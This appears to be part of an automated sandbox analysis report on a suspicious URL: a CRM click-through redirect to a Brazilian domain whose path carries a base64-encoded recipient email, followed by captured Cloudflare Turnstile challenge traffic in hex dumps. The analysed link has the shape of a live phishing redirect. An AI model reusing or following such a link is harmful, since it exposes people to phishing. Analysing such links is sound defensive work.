Chrome Cache Entry: 71

Chrome Cache Entry: 72

Chrome Cache Entry: 73

Chrome Cache Entry: 74

Chrome Cache Entry: 75

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Windows Analysis Report
http://reedhawkins.watsonrealtycorp.com/shared/email/crm/clickthru.php?hash=4ff934a7bb0a81c8c46fcc9a6676fcd3&aid=81803571&return_page=http%3A%2F%2Fmartinscarnes.com.br/grdsergj/9ae7d9b9f91e861f723b82dea8d97fa5/YWNjb3VudHNyZWNlaXZhYmxlQGNoZW1zb2x2LmNvbQ==

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:40:01 UTC	1150	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/302061580:1741115686:VPrrkfgK5Fjb68xBX7W-gDKZaVfhxReoh470mfFEUsY/91b3d7a1caf4f5fa/5xkicrhpJLPgbXgB7OFrHq4YMtqq1B0kOv3qd_ozWtM-1741117194-1.1.1.1-RFJ8sHMjvF9HpdDsoq0uhGwQ8y9rGcH_lXJLpJ_bVBmZ7XNSKqdanRu5iSufnVoL HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 37973 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: text/plain;charset=UTF-8 cf-chl: 5xkicrhpJLPgbXgB7OFrHq4YMtqq1B0kOv3qd_ozWtM-1741117194-1.1.1.1-RFJ8sHMjvF9HpdDsoq0uhGwQ8y9rGcH_lXJLpJ_bVBmZ7XNSKqdanRu5iSufnVoL cf-chl-ra: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ebhl4/0x4AAAAAAA_eT5Ymilyhn1qa/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:40:01 UTC	16384	OUT	Data Raw: 54 53 59 58 52 66 73 57 45 66 68 62 59 6d 7a 4b 65 73 44 32 59 47 51 73 35 4b 71 4b 59 6a 6a 66 57 73 62 4b 43 72 59 66 68 4b 50 4b 68 55 6d 57 73 73 4b 74 55 62 53 55 4b 2d 79 4f 4b 72 55 35 2b 73 63 4b 62 61 78 59 59 4b 75 53 73 6e 34 42 38 4b 6a 38 42 6d 35 55 73 2b 4a 6d 55 62 57 4b 43 58 4b 7a 4b 68 58 6d 4e 72 7a 76 79 45 47 76 71 4b 75 59 73 43 6d 42 41 68 4b 6d 32 6d 61 4b 4b 4d 6f 58 47 4e 4b 57 42 53 4b 57 4e 4e 4b 77 58 4b 63 70 4b 4b 6d 6a 24 71 4b 35 76 54 4b 4b 2b 61 37 44 30 71 66 4e 59 4b 30 4e 2b 68 6d 43 41 79 78 32 67 75 37 6a 52 45 52 70 7a 4a 4b 6d 54 66 36 42 66 55 58 4b 67 61 4b 4b 57 4b 55 6a 41 75 37 45 73 39 4b 47 54 74 51 58 24 66 5a 42 32 65 41 45 73 54 74 45 2d 75 6f 69 2d 34 69 6c 43 37 41 36 47 6c 71 6c 71 6a 6a 63 71 66 2d Data Ascii: TSYXRfsWEfhbYmzKesD2YGQs5KqKYjjfWsbKCrYfhKPKhUmWssKtUbSUK-yOKrU5+scKbaxYYKuSsn4B8Kj8Bm5Us+JmUbWKCXKzKhXmNrzvyEGvqKuYsCmBAhKm2maKKMoXGNKWBSKWNNKwXKcpKKmj$qK5vTKK+a7D0qfNYK0N+hmCAyx2gu7jRERpzJKmTf6BfUXKgaKKWKUjAu7Es9KGTtQX$fZB2eAEsTtE-uoi-4ilC7A6Glqlqjjcqf-
2025-03-04 19:40:01 UTC	16384	OUT	Data Raw: 43 73 6f 6f 57 59 45 4e 30 4e 79 2b 4b 31 4b 75 4e 6d 43 73 76 55 4b 4b 62 31 58 6a 54 4a 47 79 73 45 58 79 55 62 4b 73 6e 58 4f 55 6d 37 4b 77 4b 72 45 35 6e 73 59 4b 63 39 62 4e 55 75 4b 76 4b 59 58 66 71 55 4f 6a 62 7a 73 79 4b 72 4b 35 55 4b 76 4b 62 4b 79 6e 68 41 4b 63 58 35 4a 4b 46 4b 70 56 56 45 4b 56 4b 73 58 47 68 4b 36 32 4f 58 66 79 4b 70 4b 57 55 6d 6d 7a 39 4b 73 55 6d 4e 73 72 4b 6e 58 79 67 73 30 4b 4b 6a 66 58 4b 4e 4b 75 57 4b 2b 73 69 4b 74 6a 4b 66 4b 71 4b 37 45 35 66 73 6b 4b 59 37 47 2b 4b 45 68 57 65 7a 6c 73 57 55 4e 4b 4b 73 73 36 59 6d 58 4b 68 47 74 50 61 67 79 53 4b 2b 4b 43 4b 73 62 4b 79 45 68 35 38 32 30 4f 50 30 2d 79 30 4b 59 58 35 55 4b 67 4b 79 4b 36 79 79 43 4b 42 4a 76 55 62 2d 4b 71 6a 55 6a 6d 77 73 34 4b 76 65 62 Data Ascii: CsooWYEN0Ny+K1KuNmCsvUKKb1XjTJGysEXyUbKsnXOUm7KwKrE5nsYKc9bNUuKvKYXfqUOjbzsyKrK5UKvKbKynhAKcX5JKFKpVVEKVKsXGhK62OXfyKpKWUmmz9KsUmNsrKnXygs0KKjfXKNKuWK+siKtjKfKqK7E5fskKY7G+KEhWezlsWUNKKss6YmXKhGtPagySK+KCKsbKyEh5820OP0-y0KYX5UKgKyK6yyCKBJvUb-KqjUjmws4Kveb
2025-03-04 19:40:01 UTC	5205	OUT	Data Raw: 6c 46 34 37 71 65 6b 6f 4e 24 55 57 4f 38 76 73 74 41 4d 72 2b 2d 71 67 78 52 4c 6c 24 4d 59 4b 6d 36 49 65 46 56 59 31 55 30 33 47 38 46 7a 34 6d 67 6d 50 58 5a 58 62 6b 41 70 73 6a 53 51 78 6e 62 70 50 41 4b 45 73 72 42 67 63 50 30 50 58 33 41 36 6c 52 4a 52 4b 33 57 34 70 46 52 45 77 6a 47 6a 4b 69 62 67 34 66 6d 66 54 4b 39 33 66 79 6e 5a 4b 74 68 78 5a 51 49 4b 58 2b 47 57 4b 2d 58 6f 75 76 79 4b 4d 59 79 4b 73 5a 51 74 4f 55 66 32 30 44 74 58 4d 4d 44 61 30 6d 38 69 4b 79 6e 5a 67 4b 47 31 71 34 70 66 4b 75 6e 44 78 4b 24 4f 59 53 35 4d 75 32 68 66 69 5a 47 55 38 76 73 55 66 4e 31 44 61 43 50 62 59 73 6f 4e 78 74 4f 55 73 76 69 54 74 4b 5a 39 33 4b 62 5a 44 53 73 55 53 68 2b 4e 37 4b 55 50 6e 7a 66 62 47 64 68 31 4b 79 6c 78 73 67 4e 7a 41 6b 77 61 Data Ascii: lF47qekoN$UWO8vstAMr+-qgxRLl$MYKm6IeFVY1U03G8Fz4mgmPXZXbkApsjSQxnbpPAKEsrBgcP0PX3A6lRJRK3W4pFREwjGjKibg4fmfTK93fynZKthxZQIKX+GWK-XouvyKMYyKsZQtOUf20DtXMMDa0m8iKynZgKG1q4pfKunDxK$OYS5Mu2hfiZGU8vsUfN1DaCPbYsoNxtOUsviTtKZ93KbZDSsUSh+N7KUPnzfbGdh1KylxsgNzAkwa
2025-03-04 19:40:01 UTC	322	IN	HTTP/1.1 200 OK Date: Tue, 04 Mar 2025 19:40:01 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 28008 Connection: close cf-chl-gen: nX8yK+/KGgrSl5Dll6UGR8yxlNu+TKJjYCGzCodj+3Nm8bpMff+k4r7tnd53q77T$Wi/FQ6YxKvuzTWGbWDgHkg== Server: cloudflare CF-RAY: 91b3d7cbfc32f793-EWR alt-svc: h3=":443"; ma=86400
2025-03-04 19:40:01 UTC	1047	IN	Data Raw: 51 59 68 55 6a 6c 69 46 65 48 75 48 64 49 43 42 68 59 64 32 55 34 4a 54 56 6c 61 65 6d 56 70 61 6f 70 31 37 64 47 61 68 6b 5a 4a 6b 5a 57 4e 36 5a 32 47 42 67 35 74 73 70 32 79 68 6c 6e 61 4f 64 6f 61 32 6c 62 4e 37 71 4b 6d 30 6c 4c 53 7a 75 61 65 48 78 4d 43 46 78 35 6a 4f 79 59 61 64 69 6f 57 64 30 4b 62 55 31 61 57 34 75 4c 33 4b 74 37 57 58 30 4a 53 69 75 5a 2f 50 73 39 2f 47 32 70 32 6a 36 36 43 75 77 61 33 51 77 63 33 4c 31 63 66 74 39 4d 32 78 2b 63 6a 64 7a 4e 33 4e 33 75 50 43 41 64 6b 46 42 74 50 31 32 4f 58 4b 36 51 55 42 35 4e 30 48 36 2f 54 50 37 41 45 44 42 50 58 54 46 74 6b 58 31 2b 6f 69 2b 64 76 36 44 2b 55 6c 41 50 6b 62 46 77 7a 38 43 53 38 52 42 6a 4d 4a 45 67 45 77 38 54 55 7a 4d 41 6b 70 42 79 6f 63 4d 76 67 6c 41 78 67 61 52 54 55 Data Ascii: QYhUjliFeHuHdICBhYd2U4JTVlaemVpaop17dGahkZJkZWN6Z2GBg5tsp2yhlnaOdoa2lbN7qKm0lLSzuaeHxMCFx5jOyYadioWd0KbU1aW4uL3Kt7WX0JSiuZ/Ps9/G2p2j66Cuwa3Qwc3L1cft9M2x+cjdzN3N3uPCAdkFBtP12OXK6QUB5N0H6/TP7AEDBPXTFtkX1+oi+dv6D+UlAPkbFwz8CS8RBjMJEgEw8TUzMAkpByocMvglAxgaRTU
2025-03-04 19:40:01 UTC	1369	IN	Data Raw: 2b 69 34 43 57 67 6f 2b 59 6d 6e 64 67 68 35 36 67 6c 4b 6d 4e 71 35 79 6d 65 59 71 43 6a 33 4f 44 71 6f 4b 59 72 58 4b 54 74 4a 6d 50 74 62 2b 69 6b 4a 2b 6d 65 4a 71 39 68 4c 66 4d 6a 49 33 4c 30 49 69 50 6f 71 75 70 76 72 2f 54 74 4c 53 36 70 36 61 55 6b 4c 54 67 7a 74 65 62 32 64 47 31 6e 39 33 43 33 2b 71 73 32 4b 69 72 35 4c 79 76 30 36 37 48 79 73 58 6c 31 62 50 61 79 36 2f 55 2f 50 57 36 32 62 30 46 75 77 54 30 77 38 54 71 76 51 44 69 41 41 54 4f 44 2b 6b 56 41 50 33 31 35 51 6f 4f 43 51 72 78 35 51 33 61 37 2b 76 78 2f 43 54 77 45 69 58 66 2b 39 7a 36 39 2f 6b 77 39 2f 30 66 47 7a 41 50 2f 6a 59 41 42 67 55 71 2b 67 67 70 2b 2f 62 38 46 67 4d 52 4f 45 41 43 50 6a 59 59 46 41 4d 72 46 30 35 4c 54 6a 77 46 45 6b 59 65 4d 46 49 6a 57 6c 55 37 57 68 Data Ascii: +i4CWgo+Ymndgh56glKmNq5ymeYqCj3ODqoKYrXKTtJmPtb+ikJ+meJq9hLfMjI3L0IiPoqupvr/TtLS6p6aUkLTgzteb2dG1n93C3+qs2Kir5Lyv067HysXl1bPay6/U/PW62b0FuwT0w8TqvQDiAATOD+kVAP315QoOCQrx5Q3a7+vx/CTwEiXf+9z69/kw9/0fGzAP/jYABgUq+ggp+/b8FgMROEACPjYYFAMrF05LTjwFEkYeMFIjWlU7Wh
2025-03-04 19:40:01 UTC	1369	IN	Data Raw: 66 33 5a 78 6e 71 6d 42 6e 61 4b 74 68 61 57 6d 73 59 6d 74 71 72 57 4e 74 61 36 35 6b 4a 69 39 6c 4a 61 5a 77 4a 2b 62 6b 6f 39 33 66 5a 53 33 71 4a 6d 68 68 4b 4b 2b 75 6f 71 73 6a 35 47 7a 78 61 6e 4c 6d 4d 71 6e 31 74 69 54 79 38 79 5a 6e 39 50 55 6e 61 57 2b 73 74 2b 6d 79 75 79 38 36 73 7a 71 75 75 57 75 72 4f 44 52 31 4e 54 74 37 74 53 30 2f 4e 4c 62 75 65 33 61 36 37 76 4d 2f 4f 58 42 79 4f 72 33 77 37 37 67 39 78 41 4f 42 65 76 4d 2f 65 6e 54 39 50 48 56 2b 39 49 65 35 75 6b 68 45 78 6a 30 38 65 7a 37 37 69 45 4a 2b 2f 4d 70 2f 42 34 43 4c 79 63 4d 41 52 49 72 4e 67 30 5a 4f 68 41 70 46 6a 30 63 47 42 73 4d 38 7a 63 68 2f 69 2f 2b 4f 77 64 46 53 69 5a 47 54 6a 35 47 55 69 49 76 4d 53 52 54 4e 52 4a 59 52 55 59 55 4a 31 31 49 46 78 64 5a 51 68 73 Data Ascii: f3ZxnqmBnaKthaWmsYmtqrWNta65kJi9lJaZwJ+bko93fZS3qJmhhKK+uoqsj5GzxanLmMqn1tiTy8yZn9PUnaW+st+myuy86szquuWurODR1NTt7tS0/NLbue3a67vM/OXByOr3w77g9xAOBevM/enT9PHV+9Ie5ukhExj08ez77iEJ+/Mp/B4CLycMARIrNg0ZOhApFj0cGBsM8zch/i/+OwdFSiZGTj5GUiIvMSRTNRJYRUYUJ11IFxdZQhs
2025-03-04 19:40:01 UTC	1369	IN	Data Raw: 35 35 70 6d 32 65 66 62 5a 39 72 70 48 47 6a 62 32 35 31 70 33 53 45 65 61 74 33 67 48 32 76 65 33 61 59 72 38 66 46 76 4b 4f 45 74 61 47 4c 72 4b 6d 4e 73 34 72 50 30 61 65 67 75 4b 75 6a 30 4b 7a 4e 73 64 62 57 75 37 48 66 32 75 57 39 35 64 37 70 77 4d 6a 74 77 39 7a 4a 38 4d 2f 4c 79 72 2b 6e 72 73 6a 50 34 63 69 34 2b 38 79 39 36 74 72 61 37 4c 2f 53 42 37 6a 58 36 51 6a 64 2b 64 77 4d 42 75 7a 37 38 4d 2f 77 31 4e 41 4c 39 74 67 48 7a 50 72 63 44 50 54 2b 34 41 38 50 41 2b 51 54 46 2b 44 6e 49 2b 59 49 47 43 49 77 42 69 51 4f 48 78 49 67 42 7a 45 6b 43 54 50 33 39 44 59 32 4d 77 34 32 4e 52 73 55 49 68 78 47 45 6a 45 38 47 54 39 4e 52 41 73 2b 55 43 51 63 48 44 4d 6a 53 44 41 6c 4c 55 38 32 4a 69 74 63 58 31 30 71 48 68 5a 56 58 44 4d 77 4a 45 63 6a Data Ascii: 55pm2efbZ9rpHGjb251p3SEeat3gH2ve3aYr8fFvKOEtaGLrKmNs4rP0aeguKuj0KzNsdbWu7Hf2uW95d7pwMjtw9zJ8M/Lyr+nrsjP4ci4+8y96tra7L/SB7jX6Qjd+dwMBuz78M/w1NAL9tgHzPrcDPT+4A8PA+QTF+DnI+YIGCIwBiQOHxIgBzEkCTP39DY2Mw42NRsUIhxGEjE8GT9NRAs+UCQcHDMjSDAlLU82JitcX10qHhZVXDMwJEcj
2025-03-04 19:40:01 UTC	1369	IN	Data Raw: 32 79 6a 4a 2b 66 66 35 69 4c 74 36 79 79 64 72 79 74 6b 4a 69 59 73 70 53 6d 77 4c 79 38 69 4b 65 7a 76 5a 37 4d 6f 73 79 38 30 36 4f 4b 72 4c 62 57 77 62 71 78 6b 5a 75 62 6c 4e 2b 76 76 37 61 32 77 72 6e 41 75 75 6e 70 6f 2b 61 36 32 4f 44 72 77 4d 53 6b 33 71 2f 64 76 37 54 59 7a 38 57 7a 31 37 7a 74 74 39 50 31 76 39 75 36 33 4e 44 47 78 2b 4c 4b 39 74 62 71 39 39 73 42 30 4e 45 50 34 67 45 4d 7a 77 6f 4a 43 39 45 54 43 64 63 52 48 65 6e 65 37 52 55 63 38 75 2f 67 43 76 67 6c 35 53 58 6b 2f 67 4d 7a 48 79 37 79 2f 67 6a 70 49 79 76 32 50 54 49 4c 48 78 49 65 4c 43 73 68 52 69 41 47 4d 51 49 41 4e 79 41 62 52 77 45 2f 43 54 49 4f 49 42 38 4e 43 56 4d 57 52 52 55 39 4b 31 59 6e 45 6c 45 34 4c 56 4e 6c 5a 45 49 6e 49 31 6c 6a 57 55 59 72 59 45 31 52 55 Data Ascii: 2yjJ+ff5iLt6yydrytkJiYspSmwLy8iKezvZ7Mosy806OKrLbWwbqxkZublN+vv7a2wrnAuunpo+a62ODrwMSk3q/dv7TYz8Wz17ztt9P1v9u63NDGx+LK9tbq99sB0NEP4gEMzwoJC9ETCdcRHene7RUc8u/gCvgl5SXk/gMzHy7y/gjpIyv2PTILHxIeLCshRiAGMQIANyAbRwE/CTIOIB8NCVMWRRU9K1YnElE4LVNlZEInI1ljWUYrYE1RU
2025-03-04 19:40:01 UTC	1369	IN	Data Raw: 32 74 34 75 32 68 5a 36 4a 65 37 43 50 76 35 32 46 78 35 75 57 74 38 47 37 6d 38 53 4b 7a 37 37 46 6f 35 43 6b 78 4e 57 70 6f 4d 65 70 77 37 69 57 78 72 37 61 33 71 43 63 77 39 48 67 32 4b 66 4b 70 65 7a 58 75 72 32 6e 75 65 62 53 77 66 54 75 71 4b 33 74 74 64 58 34 39 66 7a 62 74 39 54 66 34 76 37 55 35 65 4c 63 31 66 37 62 2b 75 62 39 79 41 50 4d 38 74 38 48 39 51 76 6e 35 4f 34 51 36 41 76 56 39 41 41 4c 43 67 7a 74 45 66 62 6a 4a 50 6f 54 2b 78 76 33 33 75 4d 6b 4b 50 6f 6c 45 65 38 6a 4c 67 6b 31 2b 41 66 36 4f 54 6b 37 4f 43 73 79 4c 52 39 44 50 42 34 76 51 44 68 48 51 41 67 4b 50 45 59 74 54 54 49 6c 52 45 38 4d 4d 45 56 43 47 46 51 5a 46 7a 68 52 55 31 77 2f 57 44 35 6a 58 46 41 6b 47 31 5a 68 50 6b 70 58 59 7a 70 6e 61 6e 41 72 53 43 38 7a 4d 6a Data Ascii: 2t4u2hZ6Je7CPv52Fx5uWt8G7m8SKz77Fo5CkxNWpoMepw7iWxr7a3qCcw9Hg2KfKpezXur2nuebSwfTuqK3ttdX49fzbt9Tf4v7U5eLc1f7b+ub9yAPM8t8H9Qvn5O4Q6AvV9AALCgztEfbjJPoT+xv33uMkKPolEe8jLgk1+Af6OTk7OCsyLR9DPB4vQDhHQAgKPEYtTTIlRE8MMEVCGFQZFzhRU1w/WD5jXFAkG1ZhPkpXYzpnanArSC8zMj
2025-03-04 19:40:01 UTC	1369	IN	Data Raw: 76 72 79 71 66 4c 7a 41 6d 4a 69 2f 74 35 69 4c 79 72 57 74 72 59 36 36 73 4d 50 56 77 72 57 67 6b 4d 58 4f 6d 35 50 49 30 37 33 68 77 63 76 4f 7a 75 43 30 75 4f 50 57 75 4e 2b 71 79 39 62 65 75 75 72 45 38 2b 37 75 33 75 2f 32 38 65 4b 74 39 66 4f 38 36 2f 72 33 76 39 33 32 2f 73 4f 35 42 51 50 48 76 51 63 4a 79 77 67 4b 43 38 2f 74 44 51 37 2b 45 42 59 54 45 78 7a 57 46 68 66 35 47 42 76 30 49 42 34 64 2b 66 45 6c 49 69 51 59 48 79 63 58 4d 43 4d 6f 37 2f 41 76 4c 78 38 77 38 6a 4d 4f 42 6a 59 30 2b 78 6f 39 4f 67 41 65 4e 7a 35 41 4e 45 42 44 43 52 5a 46 52 7a 64 49 54 30 74 4c 42 6b 5a 52 46 45 78 4b 55 31 4e 59 57 56 64 48 57 46 68 61 53 32 51 66 58 6c 38 68 59 47 4d 6f 5a 46 35 6e 51 57 78 69 61 6a 46 67 62 57 39 4a 64 48 64 78 54 56 4a 36 64 6a 79 Data Ascii: vryqfLzAmJi/t5iLyrWtrY66sMPVwrWgkMXOm5PI073hwcvOzuC0uOPWuN+qy9beuurE8+7u3u/28eKt9fO86/r3v932/sO5BQPHvQcJywgKC8/tDQ7+EBYTExzWFhf5GBv0IB4d+fElIiQYHycXMCMo7/AvLx8w8jMOBjY0+xo9OgAeNz5ANEBDCRZFRzdIT0tLBkZRFExKU1NYWVdHWFhaS2QfXl8hYGMoZF5nQWxiajFgbW9JdHdxTVJ6djy

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:40:02 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/g/flow/ov1/302061580:1741115686:VPrrkfgK5Fjb68xBX7W-gDKZaVfhxReoh470mfFEUsY/91b3d7a1caf4f5fa/5xkicrhpJLPgbXgB7OFrHq4YMtqq1B0kOv3qd_ozWtM-1741117194-1.1.1.1-RFJ8sHMjvF9HpdDsoq0uhGwQ8y9rGcH_lXJLpJ_bVBmZ7XNSKqdanRu5iSufnVoL HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:40:02 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 04 Mar 2025 19:40:02 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: GY/kZCFHla5gbzd1IMW5wKrsdipGIyUIj5xbXMEP8hxeaHLHGlLW4PM7vcZyEl0cYGEcNhPb/ijRMjqsBP/3Xw==$jhpmjbNknCz58utD1UicIw== Server: cloudflare CF-RAY: 91b3d7d198ec0f4a-EWR alt-svc: h3=":443"; ma=86400
2025-03-04 19:40:02 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Timestamp	Bytes transferred	Direction	Data
2025-03-04 19:40:06 UTC	1150	OUT	POST /cdn-cgi/challenge-platform/h/g/flow/ov1/302061580:1741115686:VPrrkfgK5Fjb68xBX7W-gDKZaVfhxReoh470mfFEUsY/91b3d7a1caf4f5fa/5xkicrhpJLPgbXgB7OFrHq4YMtqq1B0kOv3qd_ozWtM-1741117194-1.1.1.1-RFJ8sHMjvF9HpdDsoq0uhGwQ8y9rGcH_lXJLpJ_bVBmZ7XNSKqdanRu5iSufnVoL HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 40388 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: text/plain;charset=UTF-8 cf-chl: 5xkicrhpJLPgbXgB7OFrHq4YMtqq1B0kOv3qd_ozWtM-1741117194-1.1.1.1-RFJ8sHMjvF9HpdDsoq0uhGwQ8y9rGcH_lXJLpJ_bVBmZ7XNSKqdanRu5iSufnVoL cf-chl-ra: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ebhl4/0x4AAAAAAA_eT5Ymilyhn1qa/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-04 19:40:06 UTC	16384	OUT	Data Raw: 54 53 59 58 52 66 73 57 45 66 68 62 59 6d 7a 4b 65 73 44 32 59 47 51 73 35 4b 71 4b 59 6a 6a 66 57 73 62 4b 43 72 59 66 68 4b 50 4b 68 55 6d 57 73 73 4b 74 55 62 53 55 4b 2d 79 4f 4b 72 55 35 2b 73 63 4b 62 61 78 59 59 4b 75 53 73 6e 34 42 38 4b 6a 38 42 6d 35 55 73 2b 4a 6d 55 62 57 4b 43 58 4b 7a 4b 68 58 6d 4e 72 7a 76 79 45 47 76 71 4b 75 59 73 43 6d 42 41 68 4b 6d 32 6d 61 4b 4b 4d 6f 58 47 4e 4b 57 42 53 4b 57 4e 4e 4b 77 58 4b 63 70 4b 4b 6d 6a 24 71 4b 35 76 54 4b 4b 2b 61 37 44 30 71 66 4e 59 4b 30 4e 2b 68 6d 43 41 79 78 32 67 75 37 6a 52 45 52 70 7a 4a 4b 6d 54 66 36 42 66 55 58 4b 67 61 4b 4b 57 4b 55 6a 41 75 37 45 73 39 4b 47 54 74 51 58 24 66 5a 42 32 65 41 45 73 54 74 45 2d 75 6f 69 2d 34 69 6c 43 37 41 36 47 6c 71 6c 71 6a 6a 63 71 66 2d Data Ascii: TSYXRfsWEfhbYmzKesD2YGQs5KqKYjjfWsbKCrYfhKPKhUmWssKtUbSUK-yOKrU5+scKbaxYYKuSsn4B8Kj8Bm5Us+JmUbWKCXKzKhXmNrzvyEGvqKuYsCmBAhKm2maKKMoXGNKWBSKWNNKwXKcpKKmj$qK5vTKK+a7D0qfNYK0N+hmCAyx2gu7jRERpzJKmTf6BfUXKgaKKWKUjAu7Es9KGTtQX$fZB2eAEsTtE-uoi-4ilC7A6Glqlqjjcqf-
2025-03-04 19:40:06 UTC	16384	OUT	Data Raw: 43 73 6f 6f 57 59 45 4e 30 4e 79 2b 4b 31 4b 75 4e 6d 43 73 76 55 4b 4b 62 31 58 6a 54 4a 47 79 73 45 58 79 55 62 4b 73 6e 58 4f 55 6d 37 4b 77 4b 72 45 35 6e 73 59 4b 63 39 62 4e 55 75 4b 76 4b 59 58 66 71 55 4f 6a 62 7a 73 79 4b 72 4b 35 55 4b 76 4b 62 4b 79 6e 68 41 4b 63 58 35 4a 4b 46 4b 70 56 56 45 4b 56 4b 73 58 47 68 4b 36 32 4f 58 66 79 4b 70 4b 57 55 6d 6d 7a 39 4b 73 55 6d 4e 73 72 4b 6e 58 79 67 73 30 4b 4b 6a 66 58 4b 4e 4b 75 57 4b 2b 73 69 4b 74 6a 4b 66 4b 71 4b 37 45 35 66 73 6b 4b 59 37 47 2b 4b 45 68 57 65 7a 6c 73 57 55 4e 4b 4b 73 73 36 59 6d 58 4b 68 47 74 50 61 67 79 53 4b 2b 4b 43 4b 73 62 4b 79 45 68 35 38 32 30 4f 50 30 2d 79 30 4b 59 58 35 55 4b 67 4b 79 4b 36 79 79 43 4b 42 4a 76 55 62 2d 4b 71 6a 55 6a 6d 77 73 34 4b 76 65 62 Data Ascii: CsooWYEN0Ny+K1KuNmCsvUKKb1XjTJGysEXyUbKsnXOUm7KwKrE5nsYKc9bNUuKvKYXfqUOjbzsyKrK5UKvKbKynhAKcX5JKFKpVVEKVKsXGhK62OXfyKpKWUmmz9KsUmNsrKnXygs0KKjfXKNKuWK+siKtjKfKqK7E5fskKY7G+KEhWezlsWUNKKss6YmXKhGtPagySK+KCKsbKyEh5820OP0-y0KYX5UKgKyK6yyCKBJvUb-KqjUjmws4Kveb
2025-03-04 19:40:06 UTC	7620	OUT	Data Raw: 6c 46 34 37 71 65 6b 6f 4e 24 55 57 4f 38 76 73 74 41 4d 72 2b 2d 71 67 78 52 4c 6c 24 4d 59 4b 6d 36 49 65 46 56 59 31 55 30 33 47 38 46 7a 34 6d 67 6d 50 58 5a 58 62 6b 41 70 73 6a 53 51 78 6e 62 70 50 41 4b 45 73 72 42 67 63 50 30 50 58 33 41 36 6c 52 4a 52 4b 33 57 34 70 46 52 45 77 6a 47 6a 4b 69 62 67 34 66 6d 66 54 4b 39 33 66 79 6e 5a 4b 74 68 78 5a 51 49 4b 58 2b 47 57 4b 2d 58 6f 75 76 79 4b 4d 59 79 4b 73 5a 51 74 4f 55 66 32 30 44 74 58 4d 4d 44 61 30 6d 38 69 4b 79 6e 5a 67 4b 47 31 71 34 70 66 4b 75 6e 44 78 4b 24 4f 59 53 35 4d 75 32 68 66 69 5a 47 55 38 76 73 55 66 4e 31 44 61 43 50 62 59 73 6f 4e 78 74 4f 55 73 76 69 54 74 4b 5a 39 33 4b 62 5a 44 53 73 55 53 68 2b 4e 37 4b 55 50 6e 7a 66 62 47 64 68 31 4b 79 6c 78 73 67 4e 7a 41 6b 77 61 Data Ascii: lF47qekoN$UWO8vstAMr+-qgxRLl$MYKm6IeFVY1U03G8Fz4mgmPXZXbkApsjSQxnbpPAKEsrBgcP0PX3A6lRJRK3W4pFREwjGjKibg4fmfTK93fynZKthxZQIKX+GWK-XouvyKMYyKsZQtOUf20DtXMMDa0m8iKynZgKG1q4pfKunDxK$OYS5Mu2hfiZGU8vsUfN1DaCPbYsoNxtOUsviTtKZ93KbZDSsUSh+N7KUPnzfbGdh1KylxsgNzAkwa
2025-03-04 19:40:06 UTC	282	IN	HTTP/1.1 200 OK Date: Tue, 04 Mar 2025 19:40:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 5004 Connection: close cf-chl-out: FxCOPlaEIHAf/FiJe+0/PyhHvMaUTkHi9y2FIS5MxxX27ifiRAhT1yY/4cMEis+9RaGKLblblhF5UjL6T0cbdTqwUVcW5VZs3ZzuOv4PSaU=$PfNyJiebtA/FaSKiI8l+8A==
